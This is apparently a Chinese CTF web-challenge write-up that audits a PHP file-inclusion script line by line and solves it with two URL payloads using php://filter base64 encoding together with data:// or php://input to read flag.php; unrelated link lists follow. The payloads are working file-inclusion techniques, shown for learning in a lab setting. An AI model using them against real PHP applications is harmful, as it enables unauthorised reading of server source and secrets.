当前位置: 首页 > news >正文

CTF WEB题

[文件包含,少许难度]

地址:攻防世界

代码审计

WRONG WAY!
<?php
include("flag.php"); #包含了一个“flag.php”文件
highlight_file(__FILE__); #来显示当前文件的源代码
if(isset($_GET["file1"]) && isset($_GET["file2"])) #isset()是一个内置函数,用于检查变量是否存在且为非null。 检查是否设置了get参数“file1”和“file2” 且 有值
{
$file1 = $_GET["file1"]; #get传入一个"file1"赋值给$file1
$file2 = $_GET["file2"]; #get传入一个"file2"赋值给$file2
if(!empty($file1) && !empty($file2)) #检查是否“$file1和$file2” 都不为空
{
if(file_get_contents($file2) === "hello ctf") #(file_get_contents($file2) 是一个内置函数,用于将整个文件的内容读取到一个字符串中的函数调用,file2是一个文件路径。 这里是检查读取file2 文件中的内容 是否和"hello ctf" 完全相等
{
include($file1); # 满足上述条件,才可以执行 include($file1),出发文件包含漏洞,“$file1”的文件可以读取 “flag.php” 的内容
}
}
else
die("NONONO"); #否则,输出“NONONO”
}

详细介绍

(file_get_contents($file2) 一个内置函数,用来读取文件的内容,$file2 是包含文件路径的变量,file_get_contents 函数会打开该文件,并且将文件的所有内容会作为一个字符串返回,打开失败时,则返回false

最后包含file1,我们希望得到flag,获取内容,可以用filter读取

file1和 file2 要存在,且都不为空,file2 的内容为 hello ctf

因为file2 的内容为 hello ctf 可以用php://input 和data:// 进行绕过

 payload1:?file1=php://filter/read/convert.base64-encode/resource=flag.php&file2=data://text/plain,hello ctf  
 payload2:?file1=php://filter/read/convert.base64-encode/resource=flag.php&file2=php://input  

总结:

整体来说不难,主要是代码审计,配合文件包含php伪协议即可,多多重复,你也行!

相关文章:

  • Linux RT调度器之负载均衡
  • 火语言RPA--列表项内容获取
  • (一)微服务初见之 Spring Cloud 介绍
  • 自己动手打造AI Agent:基于DeepSeek-R1+websearch从零构建自己的Manus深度探索智能体AI-Research
  • 【C语言系列】C语言内存函数
  • Codeforces Round 1009 (Div. 3)-G
  • HTML 标题
  • Ubuntu 24.04-JAVA-JDBC-mysql
  • Influxdb cli删除数据步骤
  • 【c++】【智能指针】shared_ptr底层实现
  • python_巨潮年报pdf下载
  • 判断是不是二叉搜索树(C++)
  • java静态变量,静态方法存储在内存中哪个位置
  • TCP怎么保证可靠传输
  • redis常用命令
  • Sublime Text 2.0.2 安装与汉化指南:从下载到中文包配置的完整教程
  • 【强化学习】第二讲——探索与利用exploration vs. exploitation
  • [WEB开发] Web基础
  • zero-shot文字分类模型
  • 【数据结构与算法】Java描述:第四节:二叉树
  • “五一”假期首日跨区域人员流动预计超3.4亿人次
  • 李强签署国务院令,公布修订后的《中华人民共和国植物新品种保护条例》
  • 特朗普称加总理将很快访美,白宫:不影响将加拿大打造成“第51个州”计划
  • 美国经济萎缩意味着什么?关税政策如何反噬经济?
  • 学有质量、查有力度、改有成效,广大党员干部落实中央八项规定精神
  • 五一去哪儿| 追着花期去旅行,“赏花经济”绽放文旅新活力